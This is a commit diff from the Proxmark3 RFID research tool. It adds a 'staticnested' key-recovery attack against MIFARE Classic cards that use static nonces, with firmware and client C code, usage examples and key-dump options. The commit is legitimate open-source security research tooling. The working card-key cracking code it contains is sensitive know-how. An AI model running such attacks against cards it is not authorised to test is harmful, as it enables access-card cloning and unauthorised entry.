mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-21 13:53:55 -07:00
Add 'hf mf staticnonce' - a nested find all key solution command for tags that has a static nonce. \n See https://github.com/RfidResearchGroup/proxmark3/issues/133 \n See https://github.com/Proxmark/proxmark3/issues/899 \n This solution is based upon the ideas and solutions of @uzlonewolf and @xtigmh . Thanks!
This commit is contained in:
parent
7c913265c5
commit
b37a4c14eb
9 changed files with 478 additions and 19 deletions
|
@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
|
|||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||
|
||||
## [unreleased][unreleased]
|
||||
- Added `hf mf staticnested` - useful when targeting the strange cards with a static nonce. (@iceman100) Thanks to @xtigmh @uzlonewolf for their solutions.
|
||||
- Added `hf plot` (@pwpiwi)
|
||||
- Fix `lf config` - when called with no params, it no longer mess up all device lf config settings. (@iceman1001)
|
||||
- Change `lf indala clone` - new option `--Q5` writes to q5/T5555 tags. (@iceman1001)
|
||||
|
|
|
@ -1156,6 +1156,18 @@ static void PacketReceived(PacketCommandNG *packet) {
|
|||
MifareNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->calibrate, payload->key);
|
||||
break;
|
||||
}
|
||||
case CMD_HF_MIFARE_STATIC_NESTED: {
|
||||
struct p {
|
||||
uint8_t block;
|
||||
uint8_t keytype;
|
||||
uint8_t target_block;
|
||||
uint8_t target_keytype;
|
||||
uint8_t key[6];
|
||||
} PACKED;
|
||||
struct p *payload = (struct p *) packet->data.asBytes;
|
||||
MifareStaticNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->key);
|
||||
break;
|
||||
}
|
||||
case CMD_HF_MIFARE_CHKKEYS: {
|
||||
MifareChkKeys(packet->data.asBytes);
|
||||
break;
|
||||
|
|
|
@ -1101,6 +1101,107 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8
|
|||
set_tracing(false);
|
||||
}
|
||||
|
||||
void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key) {
|
||||
|
||||
LEDsoff();
|
||||
|
||||
uint64_t ui64Key = 0;
|
||||
ui64Key = bytes_to_num(key, 6);
|
||||
|
||||
// variables
|
||||
uint16_t len;
|
||||
|
||||
uint8_t uid[10] = {0x00};
|
||||
uint32_t cuid = 0, nt1, nt2;
|
||||
uint32_t target_nt = {0x00}, target_ks = {0x00};
|
||||
uint8_t par[1] = {0x00};
|
||||
uint8_t receivedAnswer[10] = {0x00};
|
||||
|
||||
struct Crypto1State mpcs = {0, 0};
|
||||
struct Crypto1State *pcs;
|
||||
pcs = &mpcs;
|
||||
|
||||
LED_A_ON();
|
||||
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
|
||||
|
||||
// free eventually allocated BigBuf memory
|
||||
BigBuf_free();
|
||||
BigBuf_Clear_ext(false);
|
||||
clear_trace();
|
||||
set_tracing(true);
|
||||
|
||||
int16_t isOK = 0;
|
||||
|
||||
LED_C_ON();
|
||||
|
||||
for (uint8_t retry = 0; retry < 3 && (isOK == 0); retry++) {
|
||||
|
||||
WDT_HIT();
|
||||
|
||||
// prepare next select. No need to power down the card.
|
||||
if (mifare_classic_halt(pcs, cuid)) {
|
||||
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error");
|
||||
retry--;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
|
||||
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Can't select card");
|
||||
retry--;
|
||||
continue;
|
||||
};
|
||||
|
||||
// First authenticatoin. Normal auth.
|
||||
if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) {
|
||||
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth1 error");
|
||||
retry--;
|
||||
continue;
|
||||
};
|
||||
|
||||
// second authentication. Nested auth
|
||||
len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par, NULL);
|
||||
if (len != 4) {
|
||||
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth2 error len=%d", len);
|
||||
continue;
|
||||
};
|
||||
|
||||
nt2 = bytes_to_num(receivedAnswer, 4);
|
||||
uint32_t nt_tmp = prng_successor(nt1, 160);
|
||||
target_ks = nt2 ^ nt_tmp;
|
||||
target_nt = nt_tmp;
|
||||
isOK = 1;
|
||||
|
||||
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Testing nt1=%08x nt2enc=%08x nt2par=%02x ks=%08x", nt1, nt2, par[0], target_ks);
|
||||
}
|
||||
|
||||
LED_C_OFF();
|
||||
|
||||
crypto1_deinit(pcs);
|
||||
|
||||
struct p {
|
||||
int16_t isOK;
|
||||
uint8_t block;
|
||||
uint8_t keytype;
|
||||
uint8_t cuid[4];
|
||||
uint8_t nt[4];
|
||||
uint8_t ks[4];
|
||||
} PACKED payload;
|
||||
payload.isOK = isOK;
|
||||
payload.block = targetBlockNo;
|
||||
payload.keytype = targetKeyType;
|
||||
|
||||
memcpy(payload.cuid, &cuid, 4);
|
||||
memcpy(payload.nt, &target_nt, 4);
|
||||
memcpy(payload.ks, &target_ks, 4);
|
||||
|
||||
LED_B_ON();
|
||||
reply_ng(CMD_HF_MIFARE_STATIC_NESTED, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload));
|
||||
LED_B_OFF();
|
||||
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
LEDsoff();
|
||||
set_tracing(false);
|
||||
}
|
||||
//-----------------------------------------------------------------------------
|
||||
// MIFARE check keys. key count up to 85.
|
||||
//
|
||||
|
@ -1241,8 +1342,6 @@ void chkKey_loopBonly(struct chk_t *c, struct sector_t *k_sector, uint8_t *found
|
|||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
// get Chunks of keys, to test authentication against card.
|
||||
// arg0 = antal sectorer
|
||||
// arg0 = first time
|
||||
|
@ -2065,7 +2164,6 @@ OUT:
|
|||
// turns off
|
||||
OnSuccessMagic();
|
||||
BigBuf_free();
|
||||
BigBuf_Clear_ext(false);
|
||||
}
|
||||
|
||||
void MifareHasStaticNonce() {
|
||||
|
@ -2092,8 +2190,8 @@ void MifareHasStaticNonce() {
|
|||
goto OUT;
|
||||
}
|
||||
|
||||
// Transmit MIFARE_CLASSIC_AUTH
|
||||
len = mifare_sendcmd_short(pcs, false, 0x60, 0, rec, recpar, NULL);
|
||||
// Transmit MIFARE_CLASSIC_AUTH 0x60, block 0
|
||||
len = mifare_sendcmd_short(pcs, false, MIFARE_AUTH_KEYA, 0, rec, recpar, NULL);
|
||||
if (len != 4) {
|
||||
retval = PM3_ESOFT;
|
||||
goto OUT;
|
||||
|
@ -2114,8 +2212,6 @@ OUT:
|
|||
// turns off
|
||||
OnSuccessMagic();
|
||||
BigBuf_free();
|
||||
BigBuf_Clear_ext(false);
|
||||
|
||||
crypto1_deinit(pcs);
|
||||
}
|
||||
|
||||
|
|
|
@ -25,6 +25,8 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
|
|||
void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
|
||||
void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, bool calibrate, uint8_t *key);
|
||||
|
||||
void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key);
|
||||
|
||||
void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain);
|
||||
void MifareAcquireNonces(uint32_t arg0, uint32_t flags);
|
||||
void MifareChkKeys(uint8_t *datain);
|
||||
|
|
|
@ -1601,9 +1601,9 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
|
|||
|
||||
res = detect_classic_static_nonce();
|
||||
if (res == 1)
|
||||
PrintAndLogEx(SUCCESS, "Static/Fixed nonce detected");
|
||||
PrintAndLogEx(SUCCESS, "Static nonce detected");
|
||||
if (res == 2 && verbose)
|
||||
PrintAndLogEx(SUCCESS, "Static/Fixed nonce detection failed");
|
||||
PrintAndLogEx(SUCCESS, "Static nonce detection failed");
|
||||
}
|
||||
|
||||
return select_status;
|
||||
|
|
233
client/cmdhfmf.c
233
client/cmdhfmf.c
|
@ -132,6 +132,21 @@ static int usage_hf14_nested(void) {
|
|||
PrintAndLogEx(NORMAL, " hf mf nested o 0 A FFFFFFFFFFFF 4 A -- one sector key recovery. Use block 0 Key A to find block 4 Key A");
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
static int usage_hf14_staticnested(void) {
|
||||
PrintAndLogEx(NORMAL, "Usage:");
|
||||
PrintAndLogEx(NORMAL, " all sectors: hf mf staticnested <card memory> <block> <key A/B> <key (12 hex symbols)> [t,d]");
|
||||
PrintAndLogEx(NORMAL, "Options:");
|
||||
PrintAndLogEx(NORMAL, " h this help");
|
||||
PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, <other> - 1K");
|
||||
PrintAndLogEx(NORMAL, " t transfer keys into emulator memory");
|
||||
PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf-<UID>-key.bin`");
|
||||
PrintAndLogEx(NORMAL, "");
|
||||
PrintAndLogEx(NORMAL, "Examples:");
|
||||
PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF -- key recovery against 1K, block 0, Key A using key FFFFFFFFFFFF");
|
||||
PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory");
|
||||
PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF d -- or write keys to binary file ");
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
static int usage_hf14_hardnested(void) {
|
||||
PrintAndLogEx(NORMAL, "Usage:");
|
||||
PrintAndLogEx(NORMAL, " hf mf hardnested <block number> <key A|B> <key (12 hex symbols)>");
|
||||
|
@ -1263,9 +1278,10 @@ static int CmdHF14AMfNested(const char *Cmd) {
|
|||
j++;
|
||||
}
|
||||
|
||||
// check if tag doesn't have static/fixed nonce
|
||||
// check if tag doesn't have static nonce
|
||||
if (detect_classic_static_nonce() != 0) {
|
||||
PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting...");
|
||||
PrintAndLogEx(WARNING, "Static nonce detected. Quitting...");
|
||||
PrintAndLogEx(INFO, "\t Try use `" _YELLOW_("hf mf staticnested") "`");
|
||||
return PM3_EOPABORTED;
|
||||
}
|
||||
|
||||
|
@ -1279,7 +1295,7 @@ static int CmdHF14AMfNested(const char *Cmd) {
|
|||
int16_t isOK = mfnested(blockNo, keyType, key, trgBlockNo, trgKeyType, keyBlock, true);
|
||||
switch (isOK) {
|
||||
case -1 :
|
||||
PrintAndLogEx(ERR, "Error: No response from Proxmark3.\n");
|
||||
PrintAndLogEx(ERR, "Command execute timeout\n");
|
||||
break;
|
||||
case -2 :
|
||||
PrintAndLogEx(WARNING, "Button pressed. Aborted.\n");
|
||||
|
@ -1314,7 +1330,7 @@ static int CmdHF14AMfNested(const char *Cmd) {
|
|||
}
|
||||
return PM3_SUCCESS;
|
||||
default :
|
||||
PrintAndLogEx(ERR, "Unknown Error.\n");
|
||||
PrintAndLogEx(ERR, "Unknown error.\n");
|
||||
}
|
||||
return PM3_SUCCESS;
|
||||
} else { // ------------------------------------ multiple sectors working
|
||||
|
@ -1360,7 +1376,7 @@ static int CmdHF14AMfNested(const char *Cmd) {
|
|||
int16_t isOK = mfnested(blockNo, keyType, key, FirstBlockOfSector(sectorNo), trgKeyType, keyBlock, calibrate);
|
||||
switch (isOK) {
|
||||
case -1 :
|
||||
PrintAndLogEx(ERR, "error: No response from Proxmark3.\n");
|
||||
PrintAndLogEx(ERR, "Command execute timeout\n");
|
||||
break;
|
||||
case -2 :
|
||||
PrintAndLogEx(WARNING, "button pressed. Aborted.\n");
|
||||
|
@ -1382,7 +1398,7 @@ static int CmdHF14AMfNested(const char *Cmd) {
|
|||
continue;
|
||||
|
||||
default :
|
||||
PrintAndLogEx(ERR, "unknown Error.\n");
|
||||
PrintAndLogEx(ERR, "Unknown error.\n");
|
||||
}
|
||||
free(e_sector);
|
||||
return PM3_ESOFT;
|
||||
|
@ -1472,6 +1488,204 @@ jumptoend:
|
|||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHF14AMfNestedStatic(const char *Cmd) {
|
||||
sector_t *e_sector = NULL;
|
||||
uint8_t keyType = 0;
|
||||
uint8_t trgKeyType = 0;
|
||||
uint8_t SectorsCnt = 0;
|
||||
uint8_t key[6] = {0, 0, 0, 0, 0, 0};
|
||||
uint8_t keyBlock[(ARRAYLEN(g_mifare_default_keys) + 1) * 6];
|
||||
uint64_t key64 = 0;
|
||||
bool transferToEml = false;
|
||||
bool createDumpFile = false;
|
||||
|
||||
if (strlen(Cmd) < 3) return usage_hf14_staticnested();
|
||||
|
||||
char cmdp, ctmp;
|
||||
cmdp = tolower(param_getchar(Cmd, 0));
|
||||
uint8_t blockNo = param_get8(Cmd, 1);
|
||||
ctmp = tolower(param_getchar(Cmd, 2));
|
||||
|
||||
if (ctmp != 'a' && ctmp != 'b') {
|
||||
PrintAndLogEx(WARNING, "key type must be A or B");
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
if (ctmp != 'a')
|
||||
keyType = 1;
|
||||
|
||||
if (param_gethex(Cmd, 3, key, 12)) {
|
||||
PrintAndLogEx(WARNING, "key must include 12 HEX symbols");
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
SectorsCnt = NumOfSectors(cmdp);
|
||||
if (SectorsCnt == 0) return usage_hf14_staticnested();
|
||||
|
||||
uint8_t j = 4;
|
||||
while (ctmp != 0x00) {
|
||||
|
||||
ctmp = tolower(param_getchar(Cmd, j));
|
||||
transferToEml |= (ctmp == 't');
|
||||
createDumpFile |= (ctmp == 'd');
|
||||
|
||||
j++;
|
||||
}
|
||||
|
||||
// check if tag have static nonce
|
||||
if (detect_classic_static_nonce() == 0) {
|
||||
PrintAndLogEx(WARNING, "Normal nonce detected. Quitting...");
|
||||
return PM3_EOPABORTED;
|
||||
}
|
||||
|
||||
// check if we can authenticate to sector
|
||||
if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) {
|
||||
PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A');
|
||||
return PM3_EOPABORTED;
|
||||
}
|
||||
|
||||
uint64_t t1 = msclock();
|
||||
|
||||
e_sector = calloc(SectorsCnt, sizeof(sector_t));
|
||||
if (e_sector == NULL) return PM3_EMALLOC;
|
||||
|
||||
// add our known key
|
||||
e_sector[GetSectorFromBlockNo(blockNo)].foundKey[keyType] = 1;
|
||||
e_sector[GetSectorFromBlockNo(blockNo)].Key[keyType] = key64;
|
||||
|
||||
//test current key and additional standard keys first
|
||||
// add parameter key
|
||||
memcpy(keyBlock + (ARRAYLEN(g_mifare_default_keys) * 6), key, 6);
|
||||
|
||||
for (int cnt = 0; cnt < ARRAYLEN(g_mifare_default_keys); cnt++) {
|
||||
num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6));
|
||||
}
|
||||
|
||||
PrintAndLogEx(SUCCESS, "Testing known keys. Sector count=%d", SectorsCnt);
|
||||
int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false);
|
||||
if (res == PM3_SUCCESS) {
|
||||
// all keys found
|
||||
PrintAndLogEx(SUCCESS, "Fast check found all keys");
|
||||
goto jumptoend;
|
||||
}
|
||||
|
||||
uint64_t t2 = msclock() - t1;
|
||||
PrintAndLogEx(SUCCESS, "Time to check %zu known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0);
|
||||
PrintAndLogEx(SUCCESS, "enter static nested attack");
|
||||
|
||||
// nested sectors
|
||||
for (trgKeyType = 0; trgKeyType < 2; ++trgKeyType) {
|
||||
for (uint8_t sectorNo = 0; sectorNo < SectorsCnt; ++sectorNo) {
|
||||
|
||||
for (int i = 0; i < 1; i++) {
|
||||
|
||||
if (e_sector[sectorNo].foundKey[trgKeyType]) continue;
|
||||
|
||||
int16_t isOK = mfStaticNested(blockNo, keyType, key, FirstBlockOfSector(sectorNo), trgKeyType, keyBlock);
|
||||
switch (isOK) {
|
||||
case PM3_ETIMEOUT :
|
||||
PrintAndLogEx(ERR, "Command execute timeout");
|
||||
break;
|
||||
case PM3_ESOFT :
|
||||
continue;
|
||||
case PM3_SUCCESS :
|
||||
e_sector[sectorNo].foundKey[trgKeyType] = 1;
|
||||
e_sector[sectorNo].Key[trgKeyType] = bytes_to_num(keyBlock, 6);
|
||||
|
||||
mfCheckKeys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false);
|
||||
continue;
|
||||
default :
|
||||
PrintAndLogEx(ERR, "unknown error.\n");
|
||||
}
|
||||
free(e_sector);
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
t1 = msclock() - t1;
|
||||
PrintAndLogEx(SUCCESS, "time in static nested: %.0f seconds\n", (float)t1 / 1000.0);
|
||||
|
||||
|
||||
// 20160116 If Sector A is found, but not Sector B, try just reading it of the tag?
|
||||
PrintAndLogEx(INFO, "trying to read key B...");
|
||||
for (int i = 0; i < SectorsCnt; i++) {
|
||||
// KEY A but not KEY B
|
||||
if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) {
|
||||
|
||||
uint8_t sectrail = (FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1);
|
||||
|
||||
PrintAndLogEx(SUCCESS, "reading block %d", sectrail);
|
||||
|
||||
mf_readblock_t payload;
|
||||
payload.blockno = sectrail;
|
||||
payload.keytype = 0;
|
||||
|
||||
num_to_bytes(e_sector[i].Key[0], 6, payload.key); // KEY A
|
||||
|
||||
clearCommandBuffer();
|
||||
SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t));
|
||||
|
||||
PacketResponseNG resp;
|
||||
if (!WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500)) continue;
|
||||
|
||||
if (resp.status != PM3_SUCCESS) continue;
|
||||
|
||||
uint8_t *data = resp.data.asBytes;
|
||||
key64 = bytes_to_num(data + 10, 6);
|
||||
if (key64) {
|
||||
PrintAndLogEx(SUCCESS, "data: %s", sprint_hex(data + 10, 6));
|
||||
e_sector[i].foundKey[1] = true;
|
||||
e_sector[i].Key[1] = key64;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
jumptoend:
|
||||
|
||||
PrintAndLogEx(NORMAL, "");
|
||||
PrintAndLogEx(INFO, "found keys:");
|
||||
|
||||
//print them
|
||||
printKeyTable(SectorsCnt, e_sector);
|
||||
|
||||
// transfer them to the emulator
|
||||
if (transferToEml) {
|
||||
// fast push mode
|
||||
conn.block_after_ACK = true;
|
||||
for (int i = 0; i < SectorsCnt; i++) {
|
||||
mfEmlGetMem(keyBlock, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1);
|
||||
|
||||
if (e_sector[i].foundKey[0])
|
||||
num_to_bytes(e_sector[i].Key[0], 6, keyBlock);
|
||||
|
||||
if (e_sector[i].foundKey[1])
|
||||
num_to_bytes(e_sector[i].Key[1], 6, &keyBlock[10]);
|
||||
|
||||
if (i == SectorsCnt - 1) {
|
||||
// Disable fast mode on last packet
|
||||
conn.block_after_ACK = false;
|
||||
}
|
||||
mfEmlSetMem(keyBlock, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1);
|
||||
}
|
||||
PrintAndLogEx(SUCCESS, "keys transferred to emulator memory.");
|
||||
}
|
||||
|
||||
// Create dump file
|
||||
if (createDumpFile) {
|
||||
char *fptr = GenerateFilename("hf-mf-", "-key.bin");
|
||||
if (createMfcKeyDump(fptr, SectorsCnt, e_sector) != PM3_SUCCESS) {
|
||||
PrintAndLogEx(ERR, "Failed to save keys to file");
|
||||
free(e_sector);
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
}
|
||||
free(e_sector);
|
||||
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
static int CmdHF14AMfNestedHard(const char *Cmd) {
|
||||
uint8_t blockNo = 0;
|
||||
uint8_t keyType = 0;
|
||||
|
@ -1617,9 +1831,10 @@ static int CmdHF14AMfNestedHard(const char *Cmd) {
|
|||
|
||||
if (!know_target_key && nonce_file_read == false) {
|
||||
|
||||
// check if tag doesn't have static/fixed nonce
|
||||
// check if tag doesn't have static nonce
|
||||
if (detect_classic_static_nonce() != 0) {
|
||||
PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting...");
|
||||
PrintAndLogEx(WARNING, "Static nonce detected. Quitting...");
|
||||
PrintAndLogEx(INFO, "\t Try use `" _YELLOW_("hf mf staticnested") "`");
|
||||
return PM3_EOPABORTED;
|
||||
}
|
||||
|
||||
|
@ -4587,7 +4802,7 @@ static command_t CommandTable[] = {
|
|||
{"darkside", CmdHF14AMfDarkside, IfPm3Iso14443a, "Darkside attack"},
|
||||
{"nested", CmdHF14AMfNested, IfPm3Iso14443a, "Nested attack"},
|
||||
{"hardnested", CmdHF14AMfNestedHard, AlwaysAvailable, "Nested attack for hardened MIFARE Classic cards"},
|
||||
// {"fixednested", CmdHF14AMfNestedFixed, IfPm3Iso14443a, "Nested attack against static/fixed nonce Mifare Classic cards"},
|
||||
{"staticnested", CmdHF14AMfNestedStatic, IfPm3Iso14443a, "Nested attack against static nonce Mifare Classic cards"},
|
||||
{"autopwn", CmdHF14AMfAutoPWN, IfPm3Iso14443a, "Automatic key recovery tool for MIFARE Classic"},
|
||||
// {"keybrute", CmdHF14AMfKeyBrute, IfPm3Iso14443a, "J_Run's 2nd phase of multiple sector nested authentication key recovery"},
|
||||
{"nack", CmdHf14AMfNack, IfPm3Iso14443a, "Test for MIFARE NACK bug"},
|
||||
|
|
|
@ -470,7 +470,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo,
|
|||
|
||||
for (int j = 0; j < size; j++) {
|
||||
crypto1_get_lfsr(statelists[0].head.slhead + i, &key64);
|
||||
num_to_bytes(key64, 6, keyBlock + i * 6);
|
||||
num_to_bytes(key64, 6, keyBlock + j * 6);
|
||||
}
|
||||
|
||||
if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) {
|
||||
|
@ -498,6 +498,137 @@ out:
|
|||
return -4;
|
||||
}
|
||||
|
||||
int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) {
|
||||
uint16_t i;
|
||||
uint32_t uid;
|
||||
StateList_t statelists[1];
|
||||
struct Crypto1State *p1, *p3;
|
||||
|
||||
struct {
|
||||
uint8_t block;
|
||||
uint8_t keytype;
|
||||
uint8_t target_block;
|
||||
uint8_t target_keytype;
|
||||
uint8_t key[6];
|
||||
} PACKED payload;
|
||||
payload.block = blockNo;
|
||||
payload.keytype = keyType;
|
||||
payload.target_block = trgBlockNo;
|
||||
payload.target_keytype = trgKeyType;
|
||||
memcpy(payload.key, key, sizeof(payload.key));
|
||||
|
||||
PacketResponseNG resp;
|
||||
clearCommandBuffer();
|
||||
SendCommandNG(CMD_HF_MIFARE_STATIC_NESTED, (uint8_t *)&payload, sizeof(payload));
|
||||
|
||||
if (!WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_NESTED, &resp, 2000))
|
||||
return PM3_ETIMEOUT;
|
||||
|
||||
if (resp.status != PM3_SUCCESS)
|
||||
return resp.status;
|
||||
|
||||
struct p {
|
||||
int16_t isOK;
|
||||
uint8_t block;
|
||||
uint8_t keytype;
|
||||
uint8_t cuid[4];
|
||||
uint8_t nt[4];
|
||||
uint8_t ks[4];
|
||||
} PACKED;
|
||||
struct p *package = (struct p *)resp.data.asBytes;
|
||||
|
||||
// error during collecting static nested information
|
||||
if (package->isOK == 0) return PM3_EUNDEF;
|
||||
|
||||
memcpy(&uid, package->cuid, sizeof(package->cuid));
|
||||
|
||||
statelists[0].blockNo = package->block;
|
||||
statelists[0].keyType = package->keytype;
|
||||
statelists[0].uid = uid;
|
||||
|
||||
memcpy(&statelists[0].nt_enc, package->nt, sizeof(package->nt));
|
||||
memcpy(&statelists[0].ks1, package->ks, sizeof(package->ks));
|
||||
|
||||
// calc keys
|
||||
pthread_t t;
|
||||
|
||||
// create and run worker thread
|
||||
pthread_create(&t, NULL, nested_worker_thread, &statelists[0]);
|
||||
|
||||
// wait for thread to terminate:
|
||||
pthread_join(t, (void *)&statelists[0].head.slhead);
|
||||
|
||||
// the first 16 Bits of the cryptostate already contain part of our key.
|
||||
p1 = p3 = statelists[0].head.slhead;
|
||||
|
||||
// create key candidates.
|
||||
while (p1 <= statelists[0].tail.sltail) {
|
||||
struct Crypto1State savestate;
|
||||
savestate = *p1;
|
||||
while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) {
|
||||
*p3 = *p1;
|
||||
lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0);
|
||||
p3++;
|
||||
p1++;
|
||||
}
|
||||
}
|
||||
|
||||
*(uint64_t *)p3 = -1;
|
||||
statelists[0].len = p3 - statelists[0].head.slhead;
|
||||
statelists[0].tail.sltail = --p3;
|
||||
|
||||
uint32_t keycnt = statelists[0].len;
|
||||
if (keycnt == 0) goto out;
|
||||
|
||||
PrintAndLogEx(SUCCESS, "Found %3u candidate keys", keycnt);
|
||||
|
||||
memset(resultKey, 0, 6);
|
||||
uint64_t key64 = -1;
|
||||
|
||||
// The list may still contain several key candidates. Test each of them with mfCheckKeys
|
||||
uint32_t max_keys_slice = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt;
|
||||
uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00};
|
||||
|
||||
for (i = 0; i < keycnt; i += max_keys_slice) {
|
||||
|
||||
PrintAndLogEx(INFO, "Testing %u/%u ", i, keycnt);
|
||||
|
||||
key64 = 0;
|
||||
|
||||
int size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i;
|
||||
|
||||
// copy x keys to device.
|
||||
for (int j = 0; j < size; j++) {
|
||||
crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64);
|
||||
num_to_bytes(key64, 6, keyBlock + j * 6);
|
||||
}
|
||||
|
||||
// check a block of generated candidate keys.
|
||||
if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) {
|
||||
|
||||
free(statelists[0].head.slhead);
|
||||
|
||||
num_to_bytes(key64, 6, resultKey);
|
||||
|
||||
PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]",
|
||||
package->block,
|
||||
package->keytype ? 'B' : 'A',
|
||||
sprint_hex(resultKey, 6)
|
||||
);
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
out:
|
||||
PrintAndLogEx(SUCCESS, "target block:%3u key type: %c",
|
||||
package->block,
|
||||
package->keytype ? 'B' : 'A'
|
||||
);
|
||||
|
||||
free(statelists[0].head.slhead);
|
||||
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// MIFARE
|
||||
int mfReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data) {
|
||||
|
|
|
@ -61,6 +61,7 @@ extern char logHexFileName[FILE_PATH_SIZE];
|
|||
|
||||
int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key);
|
||||
int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate);
|
||||
int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey);
|
||||
int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key);
|
||||
int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk,
|
||||
uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory);
|
||||
|
|
|
@ -488,6 +488,7 @@ typedef struct {
|
|||
#define CMD_HF_MIFARE_NESTED 0x0612
|
||||
#define CMD_HF_MIFARE_ACQ_ENCRYPTED_NONCES 0x0613
|
||||
#define CMD_HF_MIFARE_ACQ_NONCES 0x0614
|
||||
#define CMD_HF_MIFARE_STATIC_NESTED 0x0615
|
||||
|
||||
#define CMD_HF_MIFARE_READBL 0x0620
|
||||
#define CMD_HF_MIFAREU_READBL 0x0720
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue